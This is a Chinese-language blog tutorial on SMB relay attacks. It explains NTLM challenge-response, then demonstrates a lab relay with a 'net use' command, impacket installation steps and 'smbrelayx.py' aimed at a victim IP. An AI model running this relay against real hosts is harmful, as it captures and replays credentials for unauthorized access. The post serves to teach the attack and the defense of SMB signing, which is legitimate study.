smb中继攻击
2024-09-06 12:05:41
一.NTLM hash 和 Net-NTLM hash
1.客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
2.服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1,将challenge发送给客户端
3.客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
4.服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
PS:在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
二.SMB中继流程
1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password 加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
三.攻击演示
PS:
1.受害者不能开启 smb 签名
2.打了ms08-068[KB957097]补丁
攻击机:192.168.127.134
受害机:192.168.127.128
第三方:192.168.127.131
第三方机器上执行如下命令,向攻击者传送smb流量:net use \\192.168.127.134\c$ "qwewsx123." /user:"Administrator"
安装impacket套件
apt-get --reinstall install python-pyasn1 python-pyasn1-modules
git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害机IP
攻击机上可以看到,当有人net use连接攻击机上时,攻击者就回捕捉到了smb 的登录凭证hash,然后拿着这个hash到受害机尝试登录进行重放攻击
‘
参考链接:
https://www.freebuf.com/articles/system/176206.html
https://klionsec.github.io/2016/07/20/smb-replay-attack/
https://zhuanlan.zhihu.com/p/64889695
https://www.jianshu.com/u/3067117bd792
最新文章
- JavaScript Array数组方法详解
- ADO总结测试数据库
- UVA 11082 矩阵解压(网络流建模)
- 二分查找算法java实现
- Uploadify上传问题
- maven Connection refused: connect
- NoSQL分类
- 《SELinux安全上下文的管理(含图)》RedHat6.3——步骤详细、条理清晰
- 题解西电OJ (Problem 1004 -亚特兰提斯)--最小生成树
- ZOJ 3702	Gibonacci number
- 封装一个button上带图片的,图片在上,文字在下的按钮
- Spring Boot 2.x (十):构建优雅的RESTful接口
- ios UITableView的style的区别与用法,以及分割线的显示与隐藏
- java把一个list分割成多个list存入map中(实例)
- epoll的水平触发和边缘触发,以及边缘触发为什么要使用非阻塞IO
- In-App Purchase iap 内付费 二次验证代码 (java 服务器端)
- mysql为什么要分库分表?
- Ik分词器没有使用---------elasticsearch-analysis-ik 5.6.3分词问题
- CSS 美化radio checkbox
- Bootstrap 各种进度条详解